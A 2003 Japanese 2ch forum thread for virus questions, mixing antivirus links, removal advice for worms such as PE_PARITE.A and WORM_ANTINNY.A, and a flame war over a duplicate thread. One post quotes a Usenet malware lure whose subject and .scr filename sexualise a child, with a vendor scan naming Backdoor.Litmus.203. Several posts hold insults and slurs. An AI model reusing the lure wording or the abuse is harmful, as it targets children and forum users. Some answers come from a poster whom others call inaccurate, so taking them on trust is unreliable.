ウィルス情報＆質問　総合スレッド☆Part15

ウィルスに関わる話題・質問はこちらに
ウィルスかどうかはウィルススキャンして判断してください。
この板ではＵＲＬの鑑定は行っていません。
ＵＲＬを貼り付けて「このＵＲＬ大丈夫ですか？」といった質問は
避けてください。鑑定の依頼はラウンジhttp://ex.2ch.net/entrance/の鑑定スレでお願いします。
上記のＵＲＬが新スレに移行した場合ラウンジで「勇気」「鑑定」
などのキーワードで検索してください。

IPAセキュリティセンターhttp://www.ipa.go.jp/security/isg/virus.html
Symantec Security Response
http://www.symantec.com/region/jp/sarcj/
Trend Micro ウイルス情報
http://www.trendmicro.co.jp/virusinfo/index.asp
McAfee ウイルス情報
http://www.nai.com/japan/security/
オンラインウイルス検索
http://housecall.antivirus.com/housecall/start_jp.asp

[関連リンク]過去ログ・関連スレ等>>1-20あたり 補足>>1-50
セキュリティ初心者質問スレッドのテンプレも参照。

同じ質問を複数の板やスレッドに書き込むマルチポストは嫌われます。
どの板でも回答をもらえなくなってしまうので、書き込んでせめて1日程度はお待ちください。
お急ぎなら検索が早いかも？ → http://www.google.co.jp/

・ウィルス用ソフトを入れて無い人は(知識や技術のある人を除いて)速やかに入れましょう
無料ウィルス用ソフトAVP/AVG/Ad簡(その２
http://pc.2ch.net/test/read.cgi/sec/1027400238/l50

・[Ctrrl]か{コマンド}と{F}キーを押すとページ内検索が出来ます
このスレや過去スレの過去ログを検索してから質問してください
2chスレッド検索http://www.ruitomo.com/~gulab/k.html

・ノートンを使用して誤反応かな　と思う人はこちら
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50

シマンテックセキュリティチェック（オンラインウィルススキャンができる）
http://www.symantec.com/region/jp/securitycheck/index.html
ウイルスバスターオンラインスキャン
http://www.trendmicro.co.jp/hcall/index.asp

前スレ950さんへ、

>STOPが付いてあるファイル名は
>「documents and settings \..\Local Settings\Temp\mciB.tmp」
>検査結果＝未知フォーマット：CAB


tmpファイルなら削除しても多分大丈夫だと思います。
コピーをＦＤかＣＤ−Ｒにバックアップとって削除してください。

後は誰かに聞いてください。

粘着コテハン荒らし薮パソユーザーにご注意下さい。

１　なんにでもアンチドートを勧める（危険度・低）
２　ネットランナー今年の１月号の受け売り（危険度・中、アフォ度・高）
３　ピント外れ意味なしor大きなお世話or大恥カキコ（危険度・中、アフォ度・高）
４　大嘘を教える（危険度・高）
５　大嘘を指摘されると逆ギレして指摘者を誹謗（迷惑度・高）

また住人を煽るスレを立ててスレストを喰らったことも。
初心者および最近セキュ板に来た皆さんは十分注意してください。

エロサイト見たら・・・助けてください！Part13
http://pc2.2ch.net/test/read.cgi/pcqa/1057575418/l50
スパイウェア削除ソフトSpybot ５
http://pc.2ch.net/test/read.cgi/sec/1057338156/l50
スパイウェア発見専用ソフト「Ad-aware」Part7
http://pc.2ch.net/test/read.cgi/sec/1058423961/l50
猫箱(ウイルスとかスパイウェアとかトロイとかのくだ質寄せ集め)
ttp://members.tripod.co.jp/nekohako/virusfac.html

現在セキュ板には薮パソユーザーと名乗る荒らしが粘着しています。
この荒らしの特徴は、乏しい知識で知らないことにでたらめを回答します。
そして、そのでたらめを糊塗するために更なるでたらめを展開します。

この荒らしの回答は一見もっともらしく見えますが、安易に信用してはいけません。
たまに正しい解答を行いますが、薮パソユーザーのスキルは非常に低いので
正しく答えられる質問はgoogleで検索すれば容易に見つかるものに限られます。
質問者の方はご注意ください。

ウイルス検索
検索窓にファイル名等を入力して利用。
基本中の基本だけど、ワクチンベンダーごとに、ウイルスの命名は違う。

Symantecウイルス辞典日本語版
http://www.symantec.com/region/jp/sarcj/vinfodb.html
Symantecウイルス辞典英語版（日本語版と微妙に内容が異なる事がある）
http://www.symantec.com/avcenter/vinfodb.html

TrendMicroウイルス情報
http://www.trendmicro.co.jp/vinfo/

McAFEEウイルス情報
http://vil.mcafee.com/default.asp?

>>1は都昆布

>>１は薮

薮スレか…これは荒れそうだなｗ

トリップをNGName入りさせてあるから、それほど問題ない。＞藪

X-Trace-PostClient-IP: 68.146.81.8
From: [email protected]
Newsgroups: japan.binaries.pictures.erotica,japan.binaries.pictures.erotica.lolita,japan.binaries.pictures.erotica.loose-socks,japan.binaries.pictures.erotica.shota
Subject: My Youngest Daughter Nude! 579
Lines: 1037
Message-ID: < ZN1rb.341517$9l5.310162@pd7tw2no >
Date: Sat, 08 Nov 2003 08:27:37 GMT
NNTP-Posting-Host: 24.71.223.147
X-Complaints-To: [email protected]
X-Trace: pd7tw2no 1068280057 24.71.223.147 (Sat, 08 Nov 2003 01:27:37 MST)

NNTP-Posting-Date: Sat, 08 Nov 2003 01:27:37 MST
Organization: Shaw Residential Internet
Path: shaw.ca!pd7tw2no.POSTED!53ab2750!not-for-mail
Xref:

Attached picture below download today!
Attached picture below download today!

ovwfjerqoctdjiizjtypkmssuxpobjepiphbuwm

begin 644 C:\Program Files\mIRC\download\SoDamYoungAtMost13.scr

ファイルを分析しました。
送られたそれぞれのファイルについて
わかったことを以下に報告します。
ファイル名:C__Program Files_mIRC_download_SoDamYoungAtMost13.scr
このファイルは次のウィルスに感染しています:
Backdoor.Litmus.203 デベロッパーノート
\C__Program Files_mIRC_download_SoDamYoungAtMost13.scr is non-repairable threat.
NAV with the latest beta definition detects this. Please delete this file and replace it if neccessary.
Please follow the instruction at the end of this email message to install the latest beta definitions.
シマンテック・セキュリティ・レスポンス

前スレに貼られていたテンプレ案

ウィルスに関わる話題・質問はこちら。

・ウィルス感染の疑い→まず、オンラインウイルス検索。
http://www.symantec.com/region/jp/securitycheck/index.html
http://www.trendmicro.co.jp/hcall/index.asp
(※署名済みActiveXコントロールのダウンロードを有効にすること)

・不審なURLの鑑定→ラウンジhttp://ex.2ch.net/entrance/ へ。
「勇気」「鑑定」 等のキーワードで鑑定スレを検索。

[関連リンク]
・IPAセキュリティセンター
http://www.ipa.go.jp/security/isg/virus.html
・Symantec Security Response
http://www.symantec.com/region/jp/sarcj/
・Trend Micro ウイルス情報
http://www.trendmicro.co.jp/virusinfo/index.asp
・McAfee ウイルス情報
http://www.nai.com/japan/security/

・過去ログ、関連スレ等>>1-20あたり 補足>>1-50
・セキュリティ初心者質問スレッドのテンプレも参照。
▼━禁止事項 ━━━━━━━━━━━━━━━━━━━
・ マルチポスト(複数の板・スレで同じことを質問)
・ 情報の小出し(始めにOSやソフト名等を必ず明示)
・ 違法な話題や質問(WinMX,Winny,エミュレータ等)
・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

http://www.symantec.com/region/jp/sarcj/data/b/backdoor.litmus.203.html

最近、PC立ち上げる都度　UPDATE　というウインドウとエラーという小さいウインドウが開くようになりました。
加えて、１０分ほどたつと、コピペや、印刷が出来なくなります。ウイルスバスター入れてますが、検索しても特にウイルスは出てきません。
何か対処法ありましたらよろしくお願いします。

このスレは悪質なコテハンが自分のアピールのために立てた糞スレです。
全て>>1が回答するネタスレですのでご注意ください。

↑荒らし

↑藪

こりゃあ、>>16をテンプレ案にして新スレを立て直した方がいいな。
このままでは質問スレとしてまともに機能しないので、
質問者が戸惑うだけだろう。

しかし、>>1が予想通りの行動を取ってくれるところが笑える。

Part１５、もう１回立て直したほうがいいよね。
これは、偽って事で。

藪医者

立てなおししたいところだけど、削除依頼出されたら多分これから
立てるスレがあぼーんされるんじゃ？
いっそココは薮の隔離スレにしたらどうだろう。
新しいスレはスレタイをなんか変えるとかして。

セキュリティ初心者質問スレに誘導すればよい。

ちなみにスレを先に立てた者勝ちじゃないよ、次スレとして不適切であれば先に立てたスレでも削除はある。

で、新しいｽﾚがたちましたが、早くも藪らしきﾔｼが出現。

【正式】ウィルス情報＆質問　総合スレッド☆Part15
http://pc.2ch.net/test/read.cgi/sec/1068311899/2

>>27
それ俺だわｗ

何か他人と勘違いされたし．．．
おもしろいので寝る前にあげとこ

うんこー

十十　　---　　｜　　　　　
米ケ　　　／　　｜　／
女人　／＼　　｜／

　　　　うざい。　終了。

こちらが↓本来のスレなのでご注意。
【正式】ウィルス情報＆質問　総合スレッド☆Part15
http://pc.2ch.net/test/read.cgi/sec/1068311899/

このスレは「薮パソユーザー ◆0fQkHdNop2」というコテハンが
たてたものです。

セキュ板質問スレの回答者は、「薮パソユーザー 」というコテハンに
非常に迷惑をこうむっています。

このコテハンは初心者では見分けにくいような間違い、質問に対して無意味、
無関係な知識の受け売り等を執拗にばら撒きます。放置しておけば、初心者や
セキュ板に最近きた人は「たくさん投稿しているコテハンだから権威なのだろう」と
誤解するに決まっています。おそらく本人もそれを狙って異常ともいえる多量の
投稿を繰り返しているものと思われます。

回答者は質問に回答するだけでも情報収集や検証に手間をかけているのに加えて
薮パソユーザーの「無意味、間違い投稿」にいちいち反論しなければなりません。
これは単純なアラシ行為にくらべてはるかに有害、迷惑で、セキュ板質問スレの
意義さえ危うくする行為といえます。

このスレで質問すると回答者は「薮パソユーザー」だけということになりかねません。
質問する方は十分注意してください。

このスレが本物の「ウィルス情報＆質問　総合スレッド☆Part15 」スレです。

必死だな、薮ｗ

342 名前："削除"依頼 投稿日：03/11/09 12:06 HOST:172.20.244.43.ap.livedoor.jp<8080><3128><8000><1080>
削除対象アドレス：
http://pc.2ch.net/test/read.cgi/sec/1068311899/

削除理由・詳細・その他：
重複スレッドですので削除願います。


時系列でまとめますと、

http://pc.2ch.net/test/read.cgi/sec/1064028518/l50
「ウィルス情報＆質問　総合スレッド☆Part14」スレ終了 03/11/08 22:22
　　　　　　　　　　↓
http://pc.2ch.net/test/read.cgi/sec/1068300966/
「ウィルス情報＆質問　総合スレッド☆Part15 」スレ設置　03/11/08 23:16
　　　　　　　　　　↓
http://pc.2ch.net/test/read.cgi/sec/1068311899/
「【正式】ウィルス情報＆質問　総合スレッド☆Part15 」スレ設置　03/11/09 02:18

ですので、後で立てられた「【正式】ウィルス情報＆質問
　総合スレッド☆Part15 」スレは混乱の原因になります
ので早急に削除願います。

薮パソユーザーさんに質問。

どうして「TOKAIネットワーク」と契約しているのにLivedoorを使って書き込み
しているのですか？


207 名前："削除"依頼 投稿日：03/09/09 20:06 HOST:izu0370.izubr2.thn.ne.jp<8080>
削除対象アドレス：
http://pc.2ch.net/test/read.cgi/sec/1063077555/109-116
http://pc.2ch.net/test/read.cgi/sec/1063077555/118-132
http://pc.2ch.net/test/read.cgi/sec/1063077555/133-134
http://pc.2ch.net/test/read.cgi/sec/1063077555/136-140
http://pc.2ch.net/test/read.cgi/sec/1063077555/142-157

削除理由・詳細・その他：
コテハン叩き投稿で、
荒らし目的投稿で、
板・スレに無関係な投稿で、
連続投稿ですので削除願います。

つい先ごろdat落ちした「もの凄い勢いで誰かが質問に答えるスレ6172」と
いうスレが有った。
http://pc.2ch.net/test/read.cgi/sec/1060873079/

これはスレ立てが板違いの誤爆であり、そのスレの中で何度も何度も
「重複スレにつき質問は既にある質問系スレでどうぞ」と誘導レスが
入っていたにも関わらず薮パソユーザーはそれらを無視して
レスを書き込み続けた。質問自体も自演くさかったがな。

その薮がどの面さげて「重複スレッドですので削除願います」などと
言ってるのか？盗人猛々しいとはこの事だ。

>>33
どっちかといえばここは
ウィルス『 薮パソユーザー ◆0fQkHdNop2 』情報＆質問　総合スレッド☆Part15
じゃないか？

質問させてください。
WORM＿ANTINNY.Aに感染してしまいました

アンチウィルスソフトで
ファイルを見つけたのですが
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ANTINNY.A
↑では、検出したファイルを全て削除してくださいとなっているのですが
動かなくなりそうで不安です。
ご教授くださいぺこ <(＿ ＿)>
「〜.exe」も削除してしまっていいのでしょうか？

>>38
犯罪者は住所・氏名を警察に提出しなさい。

>>36
ゴメン、それ俺だ

>>38
それに懲りて
これからはファイル共有やめなはれ

>>35
ゴメン、それも俺やｗ
何か人違いし過ぎ、お前ら

>>38


>ワームとして検出したファイルはすべて削除してください。
>単体で動作する一個の独立したプログラムであり、他のファイル
>への感染活動はありません。感染活動を行わない不正プログラム
>ですのでウイルスバスターなどウイルス対策製品の機能で「駆除」
>処理は行えません。


必要なファイルに感染してるのでなく単にコピーして増殖してる
だけなので「駆除」の対象でなく丸ごと「削除」するのが正解です。
心配なら「危険：WORM＿ANTINNY.A」と書いたＦＤにバックアップ
でもとってから削除したらどうですか？

尚、システム復元機能のある場合には一旦復元機能を無効（復元
ポイントにワーム混入の危険があるから）にしてウィルスチェック
してから再度復元機能を有効にしてください。

藪パソユーザー愛読中のny解説書、ネットランナー絶賛発売中！

>>43

↓はトレンドマイクロの説明の引用です。誤解なきよう。

>ワームとして検出したファイルはすべて削除してください。
>単体で動作する一個の独立したプログラムであり、他のファイル
>への感染活動はありません。感染活動を行わない不正プログラム
>ですのでウイルスバスターなどウイルス対策製品の機能で「駆除」
>処理は行えません。
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ANTINNY.A

このスレが本物の「ウィルス情報＆質問　総合スレッド☆Part15 」スレです。

nyの解説だけでなく、DVDのコピー方法まで解説するネットランナーを講読しよう。
藪パソユーザーお薦め、nyのクラックパッチもあるよ！

22 名前：薮パソユーザー ◆0fQkHdNop2 投稿日：03/11/09 14:00

このスレはニセモノです。ここに質問を書き込まないでください。

本物のスレは↓です。

「ウィルス情報＆質問　総合スレッド☆Part15」
http://pc.2ch.net/test/read.cgi/sec/1068300966/l50


さんざん重複スレで書き込みしていたお前が今回に限って
スレ誘導に必死なのはどうしてかね？

必死にコテハンが誘導してます、削除人さんがまともな方ならこっちが削除対象だな。

アピール　アピール　コアマガジンに
載りたい　載りたい　ガイドに載りたい
邪魔な猫は追い出した　この板のコテは俺だけさ
アピールを阻む粘着達さ

>>42
どの「俺」ですか？薮さん(w

藪パソユーザー.TXTがVBS.ラブレターに感染してるってノートンが警告するんだけど。

>>35

はっきりとは覚えてませんが多分それは私の削除依頼でしょう。

このスレが本物の「ウィルス情報＆質問　総合スレッド☆Part15 」スレです。

( ´,_ゝ｀)ﾌﾟｯ

最近別板で荒らしコテハンが同じような行動して、結局荒らしコテのスレがあぼーんされた。

>>43
ありがとうございました
隔離はしていたのですが
気になっていたので
助かりましたぺこ <(＿ ＿)>

質問される方は、
ttp://www.geocities.co.jp/SiliconValley-Sunnyvale/3094/をご覧下さい。

>>58
氏ね

>>58
(　´_ゝ`）ﾌｰﾝ

過去スレ (これ以前はパート7参照)
☆ウィルス情報＆質問　総合スレッド☆part7
http://pc.2ch.net/sec/kako/1035/10354/1035401865.html
☆ウィルス情報＆質問　総合スレッド☆part8
http://pc.2ch.net/test/read.cgi/sec/1039859073/
☆ウィルス情報＆質問　総合スレッド☆part9
http://pc.2ch.net/test/read.cgi/sec/1045816526/
☆ウィルス情報＆質問　総合スレッド☆part10
http://pc.2ch.net/test/read.cgi/sec/1051155882/

☆ウィルス情報＆質問　総合スレッド☆Part14
http://pc.2ch.net/test/read.cgi/sec/1064028518/

ウイルス検索
検索窓にファイル名等を入力して利用。
基本中の基本だけど、ワクチンベンダーごとに、ウイルスの命名は違う。

Symantecウイルス辞典日本語版
http://www.symantec.com/region/jp/sarcj/vinfodb.html
Symantecウイルス辞典英語版（日本語版と微妙に内容が異なる事がある）
http://www.symantec.com/avcenter/vinfodb.html

TrendMicroウイルス情報
http://www.trendmicro.co.jp/vinfo/

McAFEEウイルス情報
http://vil.mcafee.com/default.asp?

[ウィルス対策ソフト]　
【ノートン】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.25【2003】
http://pc.2ch.net/test/read.cgi/sec/1058254461/l50
ウイルスバスター2003Part11
http://pc.2ch.net/test/read.cgi/sec/1058107059/l50
がんばれマカフィーPART4
http://pc.2ch.net/test/read.cgi/sec/1057669813/l50
がんばれ!!ウイルス警備隊Ｖ３
http://pc.2ch.net/test/read.cgi/sec/1005442785/l50
Ｍａｃ用ウイルス対策ソフト　
http://pc.2ch.net/test/read.cgi/sec/1007675941/l50

[ウィルス対策ソフト（無料）]
無料ウィルス用ソフトAVP/AVG/Ad簡(その２
http://pc.2ch.net/test/read.cgi/sec/1027400238/l50
★注意★フリーのAntiVir -9x 最新UPで不具合発生★
http://pc.2ch.net/test/read.cgi/sec/1000950998/l50
【フリー】AVG Anti-Virus　Version8
http://pc.2ch.net/test/read.cgi/sec/1056081554/l50
アンチドートを語ろう♪
http://pc.2ch.net/test/read.cgi/sec/1003987914/l50
最強のウィルス対策用ソフト
http://pc.2ch.net/test/read.cgi/sec/1000957607/l50

「森で遊ぼう」
(ファイヤーウォールソフト・無料ウィルス用ソフト等セキュリティ関係解
説サイト
ダウンロードページのリンク　日本語解説ページあり)
ttp://eazyfox.tripod.co.jp/

・IE(インターネットエクスプローラ)やOE(アウトルックエクスプレス)は危ないと感じた人達へ

ネスケ（ネットスケープコミュニケータ）やOperaを使用するという手段があることも
念頭にいれておいてください
http://home.netscape.com/ja/
http://www.jp.opera.com/

新種のウィルスが流行したときは専用スレのリンクよろしくお願いします

「Nimda !! 」【その４】
http://pc.2ch.net/test/read.cgi/sec/1001864573/l50
猛威をふるう BADTRANS.B　Re: メール （４通目）
http://pc.2ch.net/test/read.cgi/sec/1008355163/l50
'code red'wormに続きw32/sircam
http://pc.2ch.net/test/read.cgi/sec/995726416/l50
W32.Aliz.Wormって何？
http://pc.2ch.net/test/read.cgi/sec/1006266327/l50
開いただけでウイルスに感染するページ
http://pc.2ch.net/test/read.cgi/sec/994847789/l50
Klez.E、Klez系スレッド part4
http://pc.2ch.net/test/read.cgi/sec/1030175440/l50
SQLExp(SQLP,Slammer,1434番ポート)スレッド 1
http://pc.2ch.net/test/read.cgi/sec/1043525470/l50
WEBPOPUPからメッセージをもらったひと
http://pc.2ch.net/test/read.cgi/sec/1035271935/l50
BugBearスレッド 1
http://pc.2ch.net/test/read.cgi/sec/1034373773/l50
【まだ】Blasterスレ Part2【終わっちゃいない】
http://pc.2ch.net/test/read.cgi/sec/1061002243/

エロサイト見たら・・・助けてください！Part15
http://pc2.2ch.net/test/read.cgi/pcqa/1067657959/
スパイウェア発見専用ソフト「Ad-aware」Part8
http://pc.2ch.net/test/read.cgi/sec/1064592787/l50
スパイウェア削除ソフトSpybot 7
http://pc.2ch.net/test/read.cgi/sec/1066451915/l50
猫箱(ウイルスとかスパイウェアとかトロイとかのくだ質寄せ集め)
ttp://members.tripod.co.jp/nekohako/virusfac.html

ブラスターＤ関係　駆除方法、技術資料、オンラインスキャン、ＭＳパッチなど

警察庁サイバーポリス公式解説
http://www.cyberpolice.go.jp/important/20030819_131641.html
警察庁技術対策課資料
http://www.cyberpolice.go.jp/server/virus/pdf/icmp_worm.pdf
情報処理振興事業協会公式解説
http://www.ipa.go.jp/security/topics/newvirus/img/Welchi-worm-WinXP-ver10.pdf

オンラインスキャン
トレンドマイクロ
http://www.trendmicro.co.jp/hcall/index.asp
サイゲート
http://scan.sygate.com/prequickscan.html
シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.welchia.worm.html
マイクロソフトパッチ　ms03-026(RPC)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-026.asp
マイクロソフトパッチ　ms03-030(DirectX9.0a)
http://www.microsoft.com/japan/technet/security/bulletin/MS03-030.asp

無料ファイアウォールソフト
アウトポスト　free
http://www.agnitum.com/download/outpost1.html
ゾーンアラーム　free
http://www.zonelabs.com/store/content/company/products/znalm/freeDownload.jsp?lid=zadb_zadown

SWEN@MM(SWEN.A)スレ
http://pc.2ch.net/test/read.cgi/sec/1064010406/l50


☆ウィルス情報＆質問　総合スレッド☆ｐａｒｔ１３
http://pc.2ch.net/test/read.cgi/sec/1061454729/
☆ウィルス情報＆質問　総合スレッド☆Part14
http://pc.2ch.net/test/read.cgi/sec/1064028518/

ウィルス情報＆質問　総合スレッド11
http://pc.2ch.net/test/read.cgi/sec/1056101401/
ウィルス情報＆質問　総合スレッド12
http://pc.2ch.net/test/read.cgi/sec/1060186382/
ウィルス情報＆質問　総合スレッド13
http://pc.2ch.net/test/read.cgi/sec/1061454729/

>>61-68
テンプレ不足分追加

削除依頼見てから書いたな。

>>1に「過去ログ・関連スレ等>>1-20あたり 補足>>1-50 」と書かれているのに
レス数60過ぎてからテンプレ貼りかい？初めて来た人は判らないよねぇ。
今更貼っても遅い。誰が読むのｗｗｗｗｗ

薮パソユーザー◆0fQkHdNop2よ、こういうのはテンプレって言わないんだよ。

ジョークウィルス


JOKE_MADO.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=JOKE_MADO.A

HIKARU
http://www.vector.co.jp/soft/win95/amuse/se217070.html

ジョークウイルス+
http://www.vector.co.jp/soft/win95/amuse/se297894.html

マウスエスケープ
http://rd.vector.co.jp/soft/win95/amuse/se064923.html


その他ジョークソフト
http://rd.vector.co.jp/vpack/filearea/win95/amuse/joke/by_trend.html

>>72

どのみち読んで質問する者はほとんどいませんよ。

なにこいつ

>>73をテンプレに追加しました。

>>74
そう思うならなんで必死に今頃テンプレ貼ってるんだよｗｗｗｗｗｗ
お前の正体が見えたな（いや、前から明らかだったが）

「どのみち読んで質問する者はほとんどいませんよ。 」

「ど の み ち 読 ん で 質 問 す る 者 は ほ と ん ど い ま せ ん よ。 」

もう１つテンプレ

■■■■■■■■■■■■■重要■■■■■■■■■■■■■


質問される方は、
ttp://www.geocities.co.jp/SiliconValley-Sunnyvale/3094/
をよくお読みになってから質問してくださいね。



■■■■■■■■■■■■■重要■■■■■■■■■■■■■

回答者や次スレを立てる人が参考にできるように

おまえ嫌われてるの気付かないの？

>>78
うん、これは大事なテンプレだな。大変重要です。

質問者の方へ
このスレはセキュ板に粘着しているでたらめを撒き散らす荒らしが立てたニセスレです。
回答者はこの荒らししかいません。
粘着荒らしに関して知りたい方はhttp://tmp2.2ch.net/test/read.cgi/tubo/1068207529/l50参照。

>>74
過去スレを立てるものはテンプレをキチッと貼る所までを責任を持って
やってきていた（2ゲットみたいな割り込みを除いて）
だからこそスレ立てが終わると「おつかれ」などのねぎらいのレスがつく訳だ。

テンプレがなぜ大事なのかなど今更説明するまでもなかろう。
それをお前は>>74
> どのみち読んで質問する者はほとんどいませんよ。
とこうだ。

http://qb2.2ch.net/test/read.cgi/saku/1027430636/343
> またテンプレがしっかりとしていないため、次スレには不十分と判断しました。
> よろしくお願い致します。

削除依頼がでたら慌ててテンプレを貼る。質問者、他の回答者のことなど
考えず自己満足の為だけのスレ立てというのがはっきりしたな。

どっちみち読まないと思ってるのなら、貼る必要はないよな。
削除依頼見て、慌てて付け足したんだろう。

>>61-73にテンプレの補足があります。

このスレは>>1の自己満足の為だけに立てられました。
回答者は>>1しかいません。回答内容は自分でGoogleで検索すれば
わかる事か、または的外れで無駄な時間を費やす事になる内容ばかりです。

■■■■■■■■■■■■■重要■■■■■■■■■■■■■


質問される方は、
ttp://www.geocities.co.jp/SiliconValley-Sunnyvale/3094/
をよくお読みになってから質問してくださいね。



■■■■■■■■■■■■■重要■■■■■■■■■■■■■

このスレを立てたひとにスレの主旨などいろいろ質問があります。
まさか自分でスレを立てておいて削除依頼は出さないでしょうね？

>>88

何ですか？

別に二本立てでいいじゃん。
必死に削除依頼してる香具師や、終了線引いてる香具師は
そこまでこの板に命掛けてんの？

こういう厨房は閉鎖危機を知らないで言えるんだろうな、気楽でいいな。

>>18

>最近、PC立ち上げる都度　UPDATE　というウインドウとエラーという
>小さいウインドウが開くようになりました。
>加えて、１０分ほどたつと、コピペや、印刷が出来なくなります。
>ウイルスバスター入れてますが、検索しても特にウイルスは出てきません。
>何か対処法ありましたらよろしくお願いします。


私にもわかりませんがスパイウェアのチェックをad-awareでしてください。
また、バスターを無効化するウィルスの可能性もありますのでアンチドート
でチェックしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

>>90にこのスレを任せよう。

アスペルガーコテハンと>>90で頑張ってくれ。

>>92
私にもわかりませんが
私にもわかりませんが
私にもわかりませんが

>>91
以前より情報価値の低くなったこの板なんて閉鎖してもあまり困らないような・・・

>>93
漏れはウィルスに感染したことないから無理
学校のネットワークならあるけど、当直SEに丸投げ

あいつが居る限りこの板は糞

ま、この板のレベルを下げた大きな原因はマルチポスト指摘され逆ギレした藪ほにゃららとかいうコテのせいだが。

藪パソ、哀れだな（ﾌﾟｹﾞﾗ

すみません質問させて下さい。
怪しいexeファイルをクリックしてPE_PARITE.A（とB）に感染しました
アンチドートとトレンドマイクロオンラインスキャンを使って感染しているのを全部削除したまではいいんですけど再インストールを行っても
また感染してしまいます。
あと分からないことが感染しているファイルと感染しないファイルがある事です。
FFDSHOWなどは感染しましたがopenjaneやvixなどは感染しません、何回スキャンしても

どうしたら完全に削除できるのでしょうか？やはりノートンやバスターで駆除しないとだめでしょうか

>>99
お前http://pc.2ch.net/test/read.cgi/sec/1068300966/78n-読んだか?

OSや環境は？
再インストールはOSなのか？
基本的にtrendmicro
ttp://www.trendmicro.co.jp/vinfo/default.asp?sect=TT
やsymantec
ttp://www.symantec.com/region/jp/sarcj/index.html
で調べれば、自分で対処出来る。

>>99

>再インストールを行ってもまた感染してしまいます。


PE_PARITE.A（とB）はＯＳ再インストールすれば消えるはずですが？
再起動のと書くつもりだったんですか？
Windows XPやMEのようなシステム復元機能を持つＯＳの場合、
復元ポイントにウィルスが混入してると削除しても再起動すれば
復元されてしまうそうです。
シマンテックはPE_PARITE.AをW32.Pinfiと呼んでますが、
その説明のページを御覧ください。
http://www.symantec.com/region/jp/sarcj/data/w/w32.pinfi.html
>Windows Me/XPをお使いの場合は、駆除作業を行う前にシステムの
>復元オプションを一時的にオフにしてください。システムの復元
>機能は、Windows Me/XPの機能の一つで、標準では有効に設定されて
>います。この機能は、Windowsがコンピュータ上のファイルが破損
>した場合にそれらを自動的に復元するために使用されます。
>コンピュータがウイルス、ワーム、またはトロイの木馬に感染した
>場合、ウイルス、ワーム、またはトロイの木馬のバックアップ
>ファイルが_RESTOREフォルダ内に作成されている可能性があります。
>Windowsは、ウイルス対策プログラムのような外部プログラムによる
>システムの復元機能の改変を防止するように設定されています。
>この理由により、ウイルス対策プログラムおよび駆除ツールでは
>_RESTOREフォルダ内に保存されている感染ファイルを削除する
>ことはできません。その結果、他のあらゆる場所から感染ファイル
>を削除した後でも、感染したファイルが誤って復元される可能性
>があります。

>>99（質問の後半）

>あと分からないことが感染しているファイルと感染しないファイル
>がある事です。
>FFDSHOWなどは感染しましたがopenjaneやvixなどは感染しません


シマンテックのW32.Pinfi（PE_PARITE.A）の説明では、最終的には
すべての.EXEファイルに感染するとありますが、一度には数ファイル
しか感染しないそうですので、openjaneやvixが後回しになっていた
だけでは？
http://www.symantec.com/region/jp/sarcj/data/w/w32.pinfi.html
>全ローカルドライブおよびマッピングされているドライブ上で
>発見したすべての.EXEファイルおよび.SCRファイルの末尾に
>自分自身を付加します。このウイルスには、感染速度を遅くする
>アルゴリズムが含まれているため、1度に数ファイルにしか
>感染しません。

>>35
薮パソユーザーさんに質問。

どうして「TOKAIネットワーク」と契約しているのにLivedoorを使って書き込み
しているのですか？


207 名前："削除"依頼 投稿日：03/09/09 20:06 HOST:izu0370.izubr2.thn.ne.jp<8080>




超亀レスでスマソが、izu0370.izubr2.thn.ne.jpはTOKAIネットワークとは別だと思われ。

上げておきます。

このスレは>>1の自己満足の為だけに立てられました。
回答者は>>1しかいません。回答内容は自分でGoogleで検索すれば
わかる事か、または的外れで無駄な時間を費やす事になる内容ばかりです。

今、PCの電源を落とそうとしたら「ほかの人がこのコンピュータにログインしています。その人のデータが失われる恐れがあります。」とダイアログが出た。
新しいPCを買ってOSはXPなんだけど、これってどういうこと？
このPCはオレ一人しか使ってないはずなんだけど。
集合住宅でもマンションでもないし、、、誰か教えてちょうだい

>>107
ユーザの切り替え途中でしただろ？

>>108
いえ、切り替え等はしてないです。今ウイルスバスターを見たら
「ブロックしたアクセスの種類：ICMP Echo Reply」とありました。
これは関係あるのでしょうか？

共有しているプリンタが突然見えなくなる、
あるいは　アクセスできなくなる。
これは何のウィルスにやられているんでしょう？

ネットを開けなくなってしまいましたリンクとかもです・・・
他には僕が普通にやるだけならおかしい所が見当たりません
そうゆうウイルスがあるんでしょうか??

>>107

接続はブロードバンドですか？
侵入かどうかはわかりません。
もしかしたらＸＰ以前のソフトでＸＰに適合してないソフトが終了
できないのが原因かもしれません。
また、回線に接続中のソフトがあったのかもしれません。
ただ、侵入の可能性も否定できないのでPestPatrolとアンチドートを
かけてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504
尚、以下の対策も採ってください。
http://bb.softbankbb.co.jp/support/tech/windows/winxp_security.php
http://www.st.ryukoku.ac.jp/~kjm/ms-windows/dcom/



http://bb.softbankbb.co.jp/support/tech/windows/winxp_security.php

>>110

そういう質問する前にウィルスチェックしてください。
アンチドートを使ってください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

>>111

そういう質問する前にウィルスチェックしてください。
アンチドートを使ってください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

それから、↓も御覧ください。
http://www.dianet.or.jp/antivirs/base/othrtype.htm

>>111

ADSLなら接続が切れてないかモデムのランプをみてください。
回線状態が悪いADSL回線では時々接続が切れる場合もあります。

アンチトード アンチトード

おい！そこのモーホー野郎↓

ウンチどぉ〜？

>>101>>102>>103
ご意見どうもありがとうございます
再インスコというのはプログラム自体を再インスコしただけでOSの再インスコはしていません
以前薮パソユーザーさんからアンチドートを勧められたのでそれを使って除去しようと思って昨日夜中まで頑張っていたのですが
手動は削除は厳しく、どれが感染しているかの一覧もわかりづらいのでまだ残っていたみたいです
今日のAM4時くらいにAVGを入れて試したところ大量に発見して隔離してくれたのでもしかしたら大丈夫かもしれません

以前outpostfreeも勧められたのですがそれももっといい火壁ソフトがあるんでしょうか。。。

